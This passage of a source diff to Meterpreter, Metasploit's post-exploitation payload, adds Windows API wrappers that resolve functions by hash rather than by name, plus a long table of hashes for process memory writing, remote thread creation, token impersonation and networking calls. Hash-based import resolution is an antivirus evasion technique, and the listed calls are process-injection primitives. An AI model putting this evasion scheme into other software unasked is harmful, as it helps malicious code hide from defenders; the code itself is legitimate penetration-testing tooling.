dwProvType, DWORD dwFlags) { + BOOL (WINAPI *pCryptAcquireContextW)(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD) = GetFunctionH(ADVAPI32_DLL, H_CryptAcquireContextW); + dprintf("[WINAPI][winapi_advapi32_CryptAcquireContextW] Calling CryptAcquireContextW @ %p", pCryptAcquireContextW); + if (pCryptAcquireContextW) { + return pCryptAcquireContextW(phProv, szContainer, szProvider, dwProvType, dwFlags); + } + return FALSE; +} + +BOOL winapi_advapi32_AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid) { + BOOL (WINAPI *pAddMandatoryAce)(PACL, DWORD, DWORD, DWORD, PSID) = GetFunctionH(ADVAPI32_DLL, H_AddMandatoryAce); + dprintf("[WINAPI][winapi_advapi32_AddMandatoryAce] Calling AddMandatoryAce @ %p", pAddMandatoryAce); + if (pAddMandatoryAce) { + return pAddMandatoryAce(pAcl, dwAceRevision, AceFlags, MandatoryPolicy, pLabelSid); + } + return FALSE; +} + // END: advapi32.dll // START: crypt32.dll @@ -1020,6 +1426,24 @@ BOOL winapi_crypt32_CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContex return FALSE; } +BOOL winapi_crypt32_CryptBinaryToStringA(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString) { + BOOL (WINAPI *pCryptBinaryToStringA)(const BYTE*, DWORD, DWORD, LPSTR, DWORD*) = GetFunctionH(CRYPT32_DLL, H_CryptBinaryToStringA); + dprintf("[WINAPI][winapi_crypt32_CryptBinaryToStringA] Calling CryptBinaryToStringA @ %p", pCryptBinaryToStringA); + if (pCryptBinaryToStringA) { + return pCryptBinaryToStringA(pbBinary, cbBinary, dwFlags, pszString, pcchString); + } + return FALSE; +} + +BOOL winapi_crypt32_CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags) { + BOOL (WINAPI *pCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*) = GetFunctionH(CRYPT32_DLL, H_CryptStringToBinaryA); + dprintf("[WINAPI][winapi_crypt32_CryptStringToBinaryA] Calling CryptStringToBinaryA @ %p", pCryptStringToBinaryA); + if (pCryptStringToBinaryA) { + return pCryptStringToBinaryA(pszString, cchString, dwFlags, pbBinary, pcbBinary, pdwSkip, pdwFlags); + } + return FALSE; +} + // END: crypt32.dll // START: user32.dll @@ -1041,6 +1465,15 @@ HDESK winapi_user32_GetThreadDesktop(DWORD dwThreadId) { return NULL; } +HWINSTA winapi_user32_GetProcessWindowStation(VOID) { + HWINSTA (WINAPI *pGetProcessWindowStation)(VOID) = GetFunctionH(USER32_DLL, H_GetProcessWindowStation); + dprintf("[WINAPI][winapi_user32_GetProcessWindowStation] Calling GetProcessWindowStation @ %p", pGetProcessWindowStation); + if (pGetProcessWindowStation) { + return pGetProcessWindowStation(); + } + return NULL; +} + // END: user32.dll // START: ws2_32.dll int winapi_ws2_32_WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData) { @@ -1106,7 +1539,135 @@ int winapi_ws2_32_WSADuplicateSocketA(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL return SOCKET_ERROR; } +int winapi_ws2_32_send(SOCKET s, const char* buf, int len, int flags) { + int (WSAAPI *pSend)(SOCKET, const char*, int, int) = GetFunctionH(WS2_32_DLL, H_send); + dprintf("[WINAPI][winapi_ws2_32_send] Calling send @ %p", pSend); + if (pSend) { + return pSend(s, buf, len, flags); + } + return SOCKET_ERROR; +} + +int winapi_ws2_32_bind(SOCKET s, const struct sockaddr* name, int namelen) { + int (WSAAPI *pBind)(SOCKET, const struct sockaddr*, int) = GetFunctionH(WS2_32_DLL, H_bind); + dprintf("[WINAPI][winapi_ws2_32_bind] Calling bind @ %p", pBind); + if (pBind) { + return pBind(s, name, namelen); + } + return SOCKET_ERROR; +} + +int winapi_ws2_32_listen(SOCKET s, int backlog) { + int (WSAAPI *pListen)(SOCKET, int) = GetFunctionH(WS2_32_DLL, H_listen); + dprintf("[WINAPI][winapi_ws2_32_listen] Calling listen @ %p", pListen); + if (pListen) { + return pListen(s, backlog); + } + return SOCKET_ERROR; +} + +int winapi_ws2_32_closesocket(SOCKET s) { + int (WSAAPI *pClosesocket)(SOCKET) = GetFunctionH(WS2_32_DLL, H_closesocket); + dprintf("[WINAPI][winapi_ws2_32_closesocket] Calling closesocket @ %p", pClosesocket); + if (pClosesocket) { + return pClosesocket(s); + } + return SOCKET_ERROR; +} + +int winapi_ws2_32_select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout) { + int (WSAAPI *pSelect)(int, fd_set*, fd_set*, fd_set*, const struct timeval*) = GetFunctionH(WS2_32_DLL, H_select); + dprintf("[WINAPI][winapi_ws2_32_select] Calling select @ %p", pSelect); + if (pSelect) { + return pSelect(nfds, readfds, writefds, exceptfds, timeout); + } + return SOCKET_ERROR; +} + +struct hostent* winapi_ws2_32_gethostbyname(const char* name) { + struct hostent* (WSAAPI *pGethostbyname)(const char*) = GetFunctionH(WS2_32_DLL, H_gethostbyname); + dprintf("[WINAPI][winapi_ws2_32_gethostbyname] Calling gethostbyname @ %p", pGethostbyname); + if (pGethostbyname) { + return pGethostbyname(name); + } + return NULL; +} + +int winapi_ws2_32_getaddrinfo(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult) { + int (WSAAPI *pGetaddrinfo)(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*) = GetFunctionH(WS2_32_DLL, H_getaddrinfo); + dprintf("[WINAPI][winapi_ws2_32_getaddrinfo] Calling getaddrinfo @ %p", pGetaddrinfo); + if (pGetaddrinfo) { + return pGetaddrinfo(pNodeName, pServiceName, pHints, ppResult); + } + return WSAEINVAL; +} + +VOID winapi_ws2_32_freeaddrinfo(PADDRINFOA pAddrInfo) { + VOID (WSAAPI *pFreeaddrinfo)(PADDRINFOA) = GetFunctionH(WS2_32_DLL, H_freeaddrinfo); + dprintf("[WINAPI][winapi_ws2_32_freeaddrinfo] Calling freeaddrinfo @ %p", pFreeaddrinfo); + if (pFreeaddrinfo) { + pFreeaddrinfo(pAddrInfo); + } +} + +u_short winapi_ws2_32_htons(u_short hostshort) { + u_short (WSAAPI *pHtons)(u_short) = GetFunctionH(WS2_32_DLL, H_htons); + dprintf("[WINAPI][winapi_ws2_32_htons] Calling htons @ %p", pHtons); + if (pHtons) { + return pHtons(hostshort); + } + return 0; +} + +u_long winapi_ws2_32_htonl(u_long hostlong) { + u_long (WSAAPI *pHtonl)(u_long) = GetFunctionH(WS2_32_DLL, H_htonl); + dprintf("[WINAPI][winapi_ws2_32_htonl] Calling htonl @ %p", pHtonl); + if (pHtonl) { + return pHtonl(hostlong); + } + return 0; +} + +u_long winapi_ws2_32_ntohl(u_long netlong) { + u_long (WSAAPI *pNtohl)(u_long) = GetFunctionH(WS2_32_DLL, H_ntohl); + dprintf("[WINAPI][winapi_ws2_32_ntohl] Calling ntohl @ %p", pNtohl); + if (pNtohl) { + return pNtohl(netlong); + } + return 0; +} + +unsigned long winapi_ws2_32_inet_addr(const char* cp) { + unsigned long (WSAAPI *pInet_addr)(const char*) = GetFunctionH(WS2_32_DLL, H_inet_addr); + dprintf("[WINAPI][winapi_ws2_32_inet_addr] Calling inet_addr @ %p", pInet_addr); + if (pInet_addr) { + return pInet_addr(cp); + } + return INADDR_NONE; +} + // END: ws2_32.dll +// START: ws2_32 extensions.dll + +int winapi_ws2_32_WSAGetLastError(VOID) { + int (WSAAPI *pWSAGetLastError)(VOID) = GetFunctionH(WS2_32_DLL, H_WSAGetLastError); + dprintf("[WINAPI][winapi_ws2_32_WSAGetLastError] Calling WSAGetLastError @ %p", pWSAGetLastError); + if (pWSAGetLastError) { + return pWSAGetLastError(); + } + return 0; +} + +char* winapi_ws2_32_inet_ntoa(struct in_addr in) { + char* (WSAAPI *pInet_ntoa)(struct in_addr) = GetFunctionH(WS2_32_DLL, H_inet_ntoa); + dprintf("[WINAPI][winapi_ws2_32_inet_ntoa] Calling inet_ntoa @ %p", pInet_ntoa); + if (pInet_ntoa) { + return pInet_ntoa(in); + } + return NULL; +} + +// END: ws2_32 extensions.dll // START: wininet.dll HINTERNET winapi_wininet_InternetOpenW(LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR lpszProxyBypass, DWORD dwFlags) { @@ -1191,6 +1752,18 @@ BOOL winapi_wininet_InternetCrackUrlW(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD } // END: wininet.dll +// START: wininet extensions.dll + +BOOL winapi_wininet_HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) { + BOOL (WINAPI *pHttpQueryInfoA)(HINTERNET, DWORD, LPVOID, LPDWORD, LPDWORD) = GetFunctionH(WININET_DLL, H_HttpQueryInfoA); + dprintf("[WINAPI][winapi_wininet_HttpQueryInfoA] Calling HttpQueryInfoA @ %p", pHttpQueryInfoA); + if (pHttpQueryInfoA) { + return pHttpQueryInfoA(hRequest, dwInfoLevel, lpBuffer, lpdwBufferLength, lpdwIndex); + } + return FALSE; +} + +// END: wininet extensions.dll // START: rpcrt4.dll RPC_STATUS winapi_rpcrt4_UuidCreate(UUID* Uuid) { @@ -1313,5 +1886,23 @@ BOOL winapi_winhttp_WinHttpCrackUrl(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dw return FALSE; } +BOOL winapi_winhttp_WinHttpCloseHandle(HINTERNET hInternet) { + BOOL (WINAPI *pWinHttpCloseHandle)(HINTERNET) = GetFunctionH(WINHTTP_DLL, H_WinHttpCloseHandle); + dprintf("[WINAPI][winapi_winhttp_WinHttpCloseHandle] Calling WinHttpCloseHandle @ %p", pWinHttpCloseHandle); + if (pWinHttpCloseHandle) { + return pWinHttpCloseHandle(hInternet); + } + return FALSE; +} + +BOOL winapi_winhttp_WinHttpWriteData(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten) { + BOOL (WINAPI *pWinHttpWriteData)(HINTERNET, LPCVOID, DWORD, LPDWORD) = GetFunctionH(WINHTTP_DLL, H_WinHttpWriteData); + dprintf("[WINAPI][winapi_winhttp_WinHttpWriteData] Calling WinHttpWriteData @ %p", pWinHttpWriteData); + if (pWinHttpWriteData) { + return pWinHttpWriteData(hRequest, lpBuffer, dwNumberOfBytesToWrite, lpdwNumberOfBytesWritten); + } + return FALSE; +} + // END: winhttp.dll #endif diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h index 347bf5eaa..18a76eec6 100644 --- a/c/meterpreter/source/metsrv/winapi.h +++ b/c/meterpreter/source/metsrv/winapi.h @@ -3,6 +3,7 @@ #ifndef _METERPRETER_COMMON_WINAPI_H #include // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA +#include // For ADDRINFOA / PADDRINFOA #include #if !defined(__WINE_WINHTTP_H) && !defined(_WINHTTPX_) #include @@ -39,6 +40,180 @@ typedef VOID WINHTTP_PROXY_INFO; #endif #endif +// Hash-based function resolver: parses the module's export directory and +// returns the address of the export whose _hash(name) matches. Used by both +// the winapi_* wrappers and any call site that needs a raw function pointer +// without adding a static string to the binary (e.g. libloader splice-hooks). +FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash); + +// Compile-time hashes of the exports the wrappers below resolve. Exposed +// here so other TUs can pass them to GetProcAddressH without repeating the +// literal function-name strings. +enum HashedFunctions { + H_ZwAllocateVirtualMemory = 0xD33D4AED, + H_ZwOpenProcess = 0xF0D09D60, + H_ZwWriteVirtualMemory = 0xC5D0A4C2, + H_ZwReadVirtualMemory = 0x3DEFA5C2, + H_ZwProtectVirtualMemory = 0xBC3F4D89, + H_ZwQueryVirtualMemory = 0x4FD39C92, + H_ZwFreeVirtualMemory = 0xDE63B5C3, + H_ZwQueueApcThread = 0xD2E9B347, + H_ZwOpenThread = 0x197D1E8D, + H_RtlGetVersion = 0xD0C1869C, + H_WriteProcessMemory = 0xD83D6AA1, + H_ReadProcessMemory = 0x579D1BE9, + H_OpenProcess = 0xEFE297C0, + H_VirtualAlloc = 0x91AFCA54, + H_VirtualAllocEx = 0x6E1A959C, + H_VirtualProtect = 0x7946C61B, + H_VirtualProtectEx = 0x53D98756, + H_VirtualQuery = 0xA3C8C8AA, + H_VirtualQueryEx = 0xF45A2B20, + H_VirtualFree = 0x30633AC, + H_VirtualFreeEx = 0xC3B4EB78, + H_CreateRemoteThread = 0x72BD9CDD, + H_CloseHandle = 0xFFD97FB, + H_DuplicateHandle = 0xBD566724, + H_CreateToolhelp32Snapshot = 0xE454DFED, + H_Thread32First = 0xB83BB6EA, + H_OpenThread = 0x58C91E6F, + H_SuspendThread = 0xE8C2CDC, + H_Thread32Next = 0x86FED608, + H_ResumeThread = 0x9E4A3F88, + H_FreeLibrary = 0x4DC9D5A0, + H_FlushInstructionCache = 0x53120980, + H_LocalFree = 0x5CBAEAF6, + H_CreateFileA = 0x7C0017A5, + H_WriteFile = 0xE80A791F, + H_LoadLibraryA = 0xEC0E4E8E, + H_WaitForMultipleObjects = 0x23EAD524, + H_SetHandleInformation = 0x7F9E1144, + H_GlobalFree = 0x7CB922F6, + H_CreateNamedPipeA = 0xB2D6846, + H_ConnectNamedPipe = 0xCB09C9F9, + H_GetOverlappedResult = 0xC087DCE8, + H_ReadFile = 0x10FA6516, + H_CreateThread = 0xCA2BD06B, + H_ResetEvent = 0x560B084F, + H_SetThreadErrorMode = 0x5922C47C, + H_OpenProcessToken = 0x591EA70F, + H_AdjustTokenPrivileges = 0x24488A0F, + H_ImpersonateLoggedOnUser = 0x6D821B37, + H_CryptDuplicateKey = 0x738BCBF6, + H_CryptSetKeyParam = 0x180E1DA8, + H_CryptDecrypt = 0x59202584, + H_CryptGenRandom = 0x4AABDD73, + H_CryptEncrypt = 0xD9242588, + H_CryptDestroyKey = 0x95E24580, + H_CryptReleaseContext = 0x5AE8E894, + H_CryptImportKey = 0xD864E84D, + H_OpenThreadToken = 0x8D91EA66, + H_AllocateAndInitializeSid = 0x5BDCE983, + H_SetEntriesInAclW = 0xB142E54, + H_InitializeAcl = 0xF8AF61AB, + H_InitializeSecurityDescriptor = 0x230EA37F, + H_SetSecurityDescriptorDacl = 0x534E5FC2, + H_SetSecurityDescriptorSacl = 0x714E5FC2, + H_LookupPrivilegeValueW = 0x97E8C2B8, + H_CryptDecodeObjectEx = 0x22BA7198, + H_CryptImportPublicKeyInfo = 0x35A052E0, + H_CertGetCertificateContextProperty = 0x481F9127, + H_GetUserObjectInformationA = 0x11EFCB2B, + H_GetThreadDesktop = 0x56641B89, + H_WSAStartup = 0x3BFCEDCB, + H_socket = 0x492F0B6E, + H_connect = 0x60AAF9EC, + H_accept = 0x498649E5, + H_setsockopt = 0xC055F2EC, + H_recv = 0xE71819B6, + H_WSADuplicateSocketA = 0x5DCA3BD3, + H_InternetOpenW = 0x57E8443F, + H_InternetConnectW = 0x1E4BE824, + H_HttpOpenRequestW = 0xF7DE76B5, + H_InternetSetOptionW = 0xF5EFA023, + H_HttpSendRequestW = 0x2DE6BEB3, + H_HttpQueryInfoW = 0xFB2F4610, + H_InternetReadFile = 0x5FE34B8B, + H_InternetCloseHandle = 0xFA9B69C7, + H_InternetCrackUrlW = 0xA5955290, + H_UuidCreate = 0xC439EDE7, + H_WinHttpOpen = 0xD1026DBE, + H_WinHttpConnect = 0x8AAE8F, + H_WinHttpOpenRequest = 0x8F34E1C1, + H_WinHttpGetIEProxyConfigForCurrentUser = 0xA206024C, + H_WinHttpGetProxyForUrl = 0x88DD3F88, + H_WinHttpSetOption = 0xD83C501E, + H_WinHttpSendRequest = 0x98348882, + H_WinHttpReceiveResponse = 0xDE22845E, + H_WinHttpQueryHeaders = 0x4F8B3B75, + H_WinHttpReadData = 0xB24F660F, + H_WinHttpQueryOption = 0xDB0FB31, + H_WinHttpCrackUrl = 0x73513B, + H_ZwQueryInformationProcess = 0xB16FE439, + H_ZwQueryObject = 0xFEF3F5D0, + H_ZwQueryInformationWorkerFactory = 0xBBC3527A, + H_ZwSetInformationWorkerFactory = 0xEC4E91FC, + H_ZwSetIoCompletion = 0x2FADE3F0, + H_RtlCreateUserThread = 0x442F2041, + H_ZwMapViewOfSection = 0xD5189BF4, + H_ZwCreateSection = 0x5D32CBCB, + H_ZwOpenSection = 0x92BBDE55, + H_ZwOpenFile = 0x8829D4B8, + H_ZwQueryAttributesFile = 0x94A7E91, + H_ZwClose = 0x5D044C61, + H_ZwLockVirtualMemory = 0x8169ADC3, + H_GetModuleHandleA = 0xD3324904, + H_CreateFileW = 0x7C0017BB, + H_CreateNamedPipeW = 0xB2D685C, + H_CreateEventA = 0x30C4B281, + H_CreateEventW = 0x30C4B297, + H_SetEvent = 0xF108744E, + H_WaitForSingleObject = 0xCE05D9AD, + H_Sleep = 0xDB2D49B0, + H_GetProcessHeap = 0xA80EECAE, + H_HeapAlloc = 0x2500383C, + H_HeapFree = 0x10C32616, + H_IsWow64Process = 0xE610CFB8, + H_ProcessIdToSessionId = 0xAC4BA4E8, + H_GetCurrentThreadId = 0x35BBF99E, + H_CryptAcquireContextA = 0x43C28BDA, + H_CryptAcquireContextW = 0x43C28BF0, + H_AddMandatoryAce = 0x4D8DB756, + H_send = 0xE97019A4, + H_bind = 0xC7701AA4, + H_listen = 0xE92EADA4, + H_closesocket = 0x79C679E7, + H_select = 0x5B1E69EE, + H_gethostbyname = 0x510CFDC4, + H_getaddrinfo = 0xACA705C, + H_freeaddrinfo = 0xBC96705E, + H_htons = 0xEB769C33, + H_htonl = 0xEB769C2C, + H_ntohl = 0xEB46FC2C, + H_inet_addr = 0x2FBA176D, + H_WinHttpCloseHandle = 0xB47C201, + H_WinHttpWriteData = 0xFC379FC3, + H_HeapReAlloc = 0xBDC761A8, + H_LocalAlloc = 0x4C0297FA, + H_GetSystemTime = 0xA70B95C5, + H_SystemTimeToFileTime = 0x45A577EA, + H_MultiByteToWideChar = 0xEF4AC4E4, + H_WideCharToMultiByte = 0xC1634AF9, + H_PeekNamedPipe = 0xB407C411, + H_SetNamedPipeHandleState = 0xE97BC532, + H_ReleaseMutex = 0x14A059E5, + H_CreateMutexA = 0x4EE4A045, + H_CreateMutexW = 0x4EE4A05B, + H_TerminateThread = 0xBD016F89, + H_lstrcmpW = 0xCB534951, + H_GetProcessWindowStation = 0x13374FFD, + H_WSAGetLastError = 0x9F5B7976, + H_inet_ntoa = 0x4A121B5C, + H_HttpQueryInfoA = 0xFB2F45FA, + H_CryptBinaryToStringA = 0x7CC2AAAF, + H_CryptStringToBinaryA = 0xF29E1FE8, +}; + NTSTATUS winapi_ntdll_ZwAllocateVirtualMemory(HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect); NTSTATUS winapi_ntdll_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); NTSTATUS winapi_ntdll_ZwWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten); @@ -46,9 +221,22 @@ NTSTATUS winapi_ntdll_ZwReadVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddres NTSTATUS winapi_ntdll_ZwProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); NTSTATUS winapi_ntdll_ZwQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); NTSTATUS winapi_ntdll_ZwFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); -NTSTATUS winapi_ntdll_NtQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); -NTSTATUS winapi_ntdll_NtOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +NTSTATUS winapi_ntdll_ZwQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); +NTSTATUS winapi_ntdll_ZwOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); NTSTATUS winapi_ntdll_RtlGetVersion(PRTL_OSVERSIONINFOEXW os); +NTSTATUS winapi_ntdll_ZwQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); +NTSTATUS winapi_ntdll_ZwQueryObject(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); +NTSTATUS winapi_ntdll_ZwQueryInformationWorkerFactory(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength); +NTSTATUS winapi_ntdll_ZwSetInformationWorkerFactory(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength); +NTSTATUS winapi_ntdll_ZwSetIoCompletion(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation); +NTSTATUS winapi_ntdll_RtlCreateUserThread(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId); +NTSTATUS winapi_ntdll_ZwMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); +NTSTATUS winapi_ntdll_ZwCreateSection(PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle); +NTSTATUS winapi_ntdll_ZwOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); +NTSTATUS winapi_ntdll_ZwOpenFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PVOID IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions); +NTSTATUS winapi_ntdll_ZwQueryAttributesFile(POBJECT_ATTRIBUTES ObjectAttributes, PVOID FileInformation); +NTSTATUS winapi_ntdll_ZwClose(HANDLE Handle); +NTSTATUS winapi_ntdll_ZwLockVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType); BOOL winapi_kernel32_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten); BOOL winapi_kernel32_ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead); HANDLE winapi_kernel32_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); @@ -85,6 +273,20 @@ BOOL winapi_kernel32_ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfByte HANDLE winapi_kernel32_CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL winapi_kernel32_ResetEvent(HANDLE hEvent); BOOL winapi_kernel32_SetThreadErrorMode(DWORD dwNewMode, LPDWORD lpOldMode); +HMODULE winapi_kernel32_GetModuleHandleA(LPCSTR lpModuleName); +HANDLE winapi_kernel32_CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +HANDLE winapi_kernel32_CreateNamedPipeW(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes); +HANDLE winapi_kernel32_CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); +HANDLE winapi_kernel32_CreateEventW(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName); +BOOL winapi_kernel32_SetEvent(HANDLE hEvent); +DWORD winapi_kernel32_WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); +VOID winapi_kernel32_Sleep(DWORD dwMilliseconds); +HANDLE winapi_kernel32_GetProcessHeap(VOID); +LPVOID winapi_kernel32_HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); +BOOL winapi_kernel32_HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); +BOOL winapi_kernel32_IsWow64Process(HANDLE hProcess, PBOOL Wow64Process); +BOOL winapi_kernel32_ProcessIdToSessionId(DWORD dwProcessId, DWORD* pSessionId); +DWORD winapi_kernel32_GetCurrentThreadId(VOID); BOOL winapi_advapi32_OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); BOOL winapi_advapi32_AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); BOOL winapi_advapi32_ImpersonateLoggedOnUser(HANDLE hToken); @@ -104,6 +306,9 @@ BOOL winapi_advapi32_InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurity BOOL winapi_advapi32_SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted); BOOL winapi_advapi32_SetSecurityDescriptorSacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted); BOOL winapi_advapi32_LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); +BOOL winapi_advapi32_CryptAcquireContextA(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); +BOOL winapi_advapi32_CryptAcquireContextW(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags); +BOOL winapi_advapi32_AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid); BOOL winapi_crypt32_CryptDecodeObjectEx(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo); BOOL winapi_crypt32_CryptImportPublicKeyInfo(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey); BOOL winapi_crypt32_CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData); @@ -116,6 +321,18 @@ SOCKET winapi_ws2_32_accept(SOCKET s, struct sockaddr* addr, int* addrlen); int winapi_ws2_32_setsockopt(SOCKET s, int level, int optname, const char* optval, int optlen); int winapi_ws2_32_recv(SOCKET s, char* buf, int len, int flags); int winapi_ws2_32_WSADuplicateSocketA(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo); +int winapi_ws2_32_send(SOCKET s, const char* buf, int len, int flags); +int winapi_ws2_32_bind(SOCKET s, const struct sockaddr* name, int namelen); +int winapi_ws2_32_listen(SOCKET s, int backlog); +int winapi_ws2_32_closesocket(SOCKET s); +int winapi_ws2_32_select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout); +struct hostent* winapi_ws2_32_gethostbyname(const char* name); +int winapi_ws2_32_getaddrinfo(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult); +VOID winapi_ws2_32_freeaddrinfo(PADDRINFOA pAddrInfo); +u_short winapi_ws2_32_htons(u_short hostshort); +u_long winapi_ws2_32_htonl(u_long hostlong); +u_long winapi_ws2_32_ntohl(u_long netlong); +unsigned long winapi_ws2_32_inet_addr(const char* cp); HINTERNET winapi_wininet_InternetOpenW(LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR 